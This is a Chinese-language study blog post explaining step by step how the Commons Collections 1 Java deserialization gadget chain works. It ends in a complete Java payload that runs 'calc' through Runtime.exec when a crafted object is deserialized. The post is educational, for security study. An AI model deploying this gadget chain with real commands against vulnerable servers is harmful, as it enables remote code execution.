Java安全-CC1

CC1

这里用的是组长的链子和yso好像不太一样,不过大体上都是差不多的。后半条的链子都是一样的,而且这条更短更易理解。yso的CC1过段时间再看一下。

环境

Maven依赖:

    <dependencies>
        <dependency>
            <groupId>commons-collections</groupId>
            <artifactId>commons-collections</artifactId>
            <version>3.2.1</version>
        </dependency>
    </dependencies>

在这里插入图片描述

JDK

8u65

openjdk

http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/file/af660750b2f4/
下载后把里面的sun放在jdk的src里面。
sun的目录在jdk-af660750b2f4\src\share\classes下
在这里插入图片描述
在这里插入图片描述

这样子才能调试,否则class文件是无法调试的
在这里插入图片描述

开始

新建一个Maven项目,要记得设置好Maven的路径,避免后续的调试过程中遇到反编译代码无法下载或者其他睿智问题。
开始结构:
在这里插入图片描述

我们可以了解一下接口Transformer,这个接口就接受一个Object类然后利用方法transform:
在这里插入图片描述

我们可以按住ctrl+H查看改接口的实现类:
在这里插入图片描述

我们这里看几个实现类:
ChainedTransformer.java

//构造方法
    public ChainedTransformer(Transformer[] transformers) {
        super();
        iTransformers = transformers;
    }

//transformer
    public Object transform(Object object) {
        for (int i = 0; i < iTransformers.length; i++) {
            object = iTransformers[i].transform(object);
        }
        return object;
    }

这个类的transformer是一个链式,即前一个的输出作为后一个的输入。

ConstantTransformer

public Object transform(Object input) {
    return iConstant;
}

InvokerTransformer.java

//构造函数
    private InvokerTransformer(String methodName) {
        super();
        iMethodName = methodName;
        iParamTypes = null;
        iArgs = null;
    }

    /**
     * Constructor that performs no validation.
     * Use <code>getInstance</code> if you want that.
     * 
     * @param methodName  the method to call
     * @param paramTypes  the constructor parameter types, not cloned
     * @param args  the constructor arguments, not cloned
     */
    public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
        super();
        iMethodName = methodName;
        iParamTypes = paramTypes;
        iArgs = args;
    }

//transformer
    /**
     * Transforms the input to result by invoking a method on the input.
     * 
     * @param input  the input object to transform
     * @return the transformed result, null if null input
     */
    public Object transform(Object input) {
        if (input == null) {
            return null;
        }
        try {
            Class cls = input.getClass();
            Method method = cls.getMethod(iMethodName, iParamTypes);
            return method.invoke(input, iArgs);
                
        } catch (NoSuchMethodException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
        } catch (IllegalAccessException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
        } catch (InvocationTargetException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
        }
    }

这个类里面有一个method.invoke(input, iArgs);非常类似于后门的写法。这也是CC1的漏洞利用点。

首先手撸CC1的第一步,基于这个类写一个弹计算器。

package org.example;


import org.apache.commons.collections.functors.InvokerTransformer;

import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;

public class Test {
    public static void main(String[] args) throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
        Runtime runtime = Runtime.getRuntime();
        new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(runtime);

    }
}

这样子就在InvokerTransformer类的基础上实现了恶意命令执行。即我们现在确定了终点,我们需要凭借这个一路向上寻找直到找到某个类重写了readObject并且能够执行到这里的链子。
首先我们从transformer方法入手,看看什么类调用了transformaer
在这里插入图片描述

最终我们确定了一处checksetValue
在这里插入图片描述

在这里插入图片描述

这里使用了valueTransformer调用transform
我们就需要知道

  • valueTransformer是什么
  • 它是怎么被赋值的
  • 我们能否控制它

不难找到在一处地方对他进行了赋值,这里是protected TransformedMap对他进行赋值,那我们需要寻找那里调用了TransformedMap。
在这里插入图片描述

可以看到静态方法调用了它
在这里插入图片描述

但是这些都解决了我们还需要找入口触发checkSetValue
它的父类AbstractInputCheckedMapDecorator.setValue调用了checkSetValue,我们以此作为入口
在这里插入图片描述

知识小补充:
对于不熟悉Map的我们需要知道有一个遍历Map的常用方法:
在这里插入图片描述

这一个entry就代表一个键值对。我们可以在这里调用setValue

手撸第二步,基于这个链子我们再弹一个计算器

目的很明确,我们需要赋值valueTransformer为InvokerTransformer
而静态方法调用了它,并且是直接传值进去,所以我们就可以开始构造

package org.example;


import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;

public class Test {
    public static void main(String[] args) throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {

        Runtime runtime = Runtime.getRuntime();


        InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
        HashMap<Object,Object> hashMap = new HashMap<>();
        hashMap.put("aaa", "bbb");
        Map<Object,Object> decorate = TransformedMap.decorate(hashMap, null, invokerTransformer);

        for(Map.Entry entry:decorate.entrySet()){
            entry.setValue(runtime);
        }

    }
}

在这里插入图片描述

现在我们的目标就是寻找一个能够遍历数组的地方调用setValue(value) value可控。我们想要寻找谁调用了setValue并且是在readObject里面调用,如果不是在readObject里面调用就需要再看谁的Object里面调用了触发setValue的方法,需要多走一层。
幸运的是不用多走一层。我们找到了AnnotationInvocationHandler类readObject里面调用了setValue
在这里插入图片描述

我们关注一下名字,Annotation就是Java里面注解的意思,所以这个类是和Java注解有关的一个类
可以注意到这里不是public
在这里插入图片描述

所以我们需要反射调用
再来看构造方法

//构造方法
AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
        Class<?>[] superInterfaces = type.getInterfaces();
        if (!type.isAnnotation() ||
            superInterfaces.length != 1 ||
            superInterfaces[0] != java.lang.annotation.Annotation.class)
            throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
        this.type = type;
        this.memberValues = memberValues;
    }

第一个参数是继承了Annotation的泛型,即注解,如@Override
第二个参数是Map类型

我们来看一下调用setValue(value)这个value我们是否可控?
在这里插入图片描述

发现这个value是一整个,我们似乎不可控,再来看第二个问题
在这里插入图片描述

Runtime没有继承Serialize,是不可以进行序列化的。
我们先解决这个不能序列化的问题。不能序列化的话,我们可以利用反射来解决。因为Class是继承了Serialize的。

手撸第三步,构造可序列化的Runtime

我们观察InvokerTransformer的构造方法,传入三个参数:

  • 参数一
    • 要执行的方法名字
  • 参数二
    • 参数的类型,是一个Class数组
  • 参数三
    • 具体参数,是一个Object数组

在这里插入图片描述

    public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
        super();
        iMethodName = methodName;
        iParamTypes = paramTypes;
        iArgs = args;
    }

再来看InvokerTransformer的transformer方法:
在这里插入图片描述

    public Object transform(Object input) {
        if (input == null) {
            return null;
        }
        try {
            Class cls = input.getClass();
            Method method = cls.getMethod(iMethodName, iParamTypes);
            return method.invoke(input, iArgs);
                
        } catch (NoSuchMethodException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
        } catch (IllegalAccessException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
        } catch (InvocationTargetException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
        }
    }

}

接收一个Object,并且执行Object的method(InvokerTransformer传入的method)
即Object.method.
所以我们根据

        Class c = Runtime.class;
        Method getRuntime = c.getMethod("getRuntime",null);
        Runtime r = (Runtime) getRuntime.invoke(null, null);
        Method exec = c.getMethod("exec", String.class);
        exec.invoke(r,"calc");

转换为:

Method getRuntime = (Method) new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class},new Object[]{"getRuntime",null}).transform(Runtime.class);
Runtime r = (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class}, new Object[]{null, null}).transform(getRuntime);
new InvokerTransformer("exec",new Class[]{String.class}, new Object[]{"calc"}).transform(r);

这个怎么转换的?以First的1、2两行转换为Second第一行为例:

我们需要调用c的 getRuntime 方法,即c.getRuntime
所以 c 为 transformer 的传入此参数,即InvokerTransformer.transform(Runtime.class)

那么InvokerTransformer里面的参数是什么?

第一个参数
getMethod为需要执行的方法,所以第一个方法名就是getMethod

第二个参数
Class数组,数组里面的值取决于传入方法的参数,以getMethod为例
在这里插入图片描述
可以看到getMethod需要传入两个参数,第一个参数是String类型的,第二个参数为Class类型的数组
所以这里就是 new Class[]{String.class, Class[].class}

第三个参数
传入的参数,我们这里需要获取getRuntime这个方法名和getRuntime的形参,这里为null。因为getRuntime里面没有形参

所以最终的结果就是

Method getRuntime = (Method) new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class},new Object[]{"getRuntime",null}).transform(Runtime.class);
Runtime r = (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class}, new Object[]{null, null}).transform(getRuntime);
new InvokerTransformer("exec",new Class[]{String.class}, new Object[]{"calc"}).transform(r);

而我们发现这个形式就是前一个的输出作为后一个的输入,刚好可以用ChainedTransformer类的transformer方法来解决:

Transformer[] transformers = {
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform(Runtime.class);

手撸第四步,从readObject入口拼凑链子

上面说了我们的入口是AnnotationInvocationHandler的readObject
在这里插入图片描述

这里刚好有 memberValue.setValue(xxx); 的形式
我们需要能控制 memberValue 才能走到下一步直到终点。
但是在执行 memberValue.setValue(xxx) 之前有两个判断
因为AnnotationInvocationHandler是私有的,所以我们通过反射实例化它:

Class aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationDeclaredConstructor = aClass.getDeclaredConstructor(Class.class, Map.class);
annotationDeclaredConstructor.setAccessible(true);
Object o = annotationDeclaredConstructor.newInstance(Override.class, decorate);

我们按照

package org.example;


import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import org.omg.SendingContext.RunTime;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;

public class Test {
    public static void main(String[] args) throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, ClassNotFoundException, InstantiationException {
        Transformer[] transformers = {
//                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        HashMap<Object,Object> hashMap = new HashMap<>();
        hashMap.put("keykey", "valuevalue");
        Map<Object,Object> decorate = TransformedMap.decorate(hashMap, null, chainedTransformer);

        Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor annotationDeclaredConstructor = aClass.getDeclaredConstructor(Class.class, Map.class);
        annotationDeclaredConstructor.setAccessible(true);
        Object o = annotationDeclaredConstructor.newInstance(Override.class, decorate);
        serialize(o);
        unserialize("ser.bin");
    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        objectOutputStream.writeObject(obj);
    }
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(Filename));
        return objectInputStream.readObject();
    }
}

这串代码进行调试:
在这里插入图片描述

结果发现在memberType那一步就die了,因为这里是获取了我们的keykey之后又获取了keykey的成员类型
因为我们传入的Override没有成员
在这里插入图片描述

所以我们需要传入有成员的注解,比如target:
在这里插入图片描述

target里面有一个成员名字是value,所以这里我们需要把keykey改成value,这样子获取我们的键value之后就会寻找target注解是否有成员value
改完之后发现我们可以进判断了:
在这里插入图片描述

第二个判断是判断是否可以强转,这里不可以就不需要管他了。

接下来就是最重要的memberValue能否控制了,我们跟进去调试看看:
在这里插入图片描述

继续跟进
在这里插入图片描述

跟进
在这里插入图片描述

可以看见这里的形式和我们开始的形式是一致的,我们对比一下:
:::info
chainedTransformer.transform(Runtime.class)
valueTransformer.transform(value);

显而易见这里的value我们就可以传入Runtime.class对象了
但是问题是怎么作为输入传进去

我们可以回顾上面的一个类ConstantTransformer
:::
ConstantTransformer 的构造函数:

public ConstantTransformer(Object constantToReturn) {
        super();
        iConstant = constantToReturn;
    }

这里对iConstant进行赋值。

然后transformer方法:

    public Object transform(Object input) {
        return iConstant;
    }

所以很明显他的任务就是输入什么返回什么。
这刚刚好满足了chainedTransformer的入口,只要传入new ConstantTransformer(Runtime.class)那么后面就会链式调用,前一个的输出作为后一个的输入最终成功调用执行命令。
所以确定最终payload:

package org.example;


import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import org.omg.SendingContext.RunTime;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;
import java.util.Map;

public class Test {
    public static void main(String[] args) throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, ClassNotFoundException, InstantiationException {
        Transformer[] transformers = {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);


        HashMap<Object,Object> hashMap = new HashMap<>();
        hashMap.put("value", "value");
        Map<Object,Object> decorate = TransformedMap.decorate(hashMap, null, chainedTransformer);

        Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor annotationDeclaredConstructor = aClass.getDeclaredConstructor(Class.class, Map.class);
        annotationDeclaredConstructor.setAccessible(true);
        Object o = annotationDeclaredConstructor.newInstance(Target.class, decorate);
        serialize(o);
        unserialize("ser.bin");
    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        objectOutputStream.writeObject(obj);
    }
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(Filename));
        return objectInputStream.readObject();
    }
}

执行结果:
在这里插入图片描述

这就是CC1,学习了好几天总是弄出点门道来。做此纪录以便日后复习。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值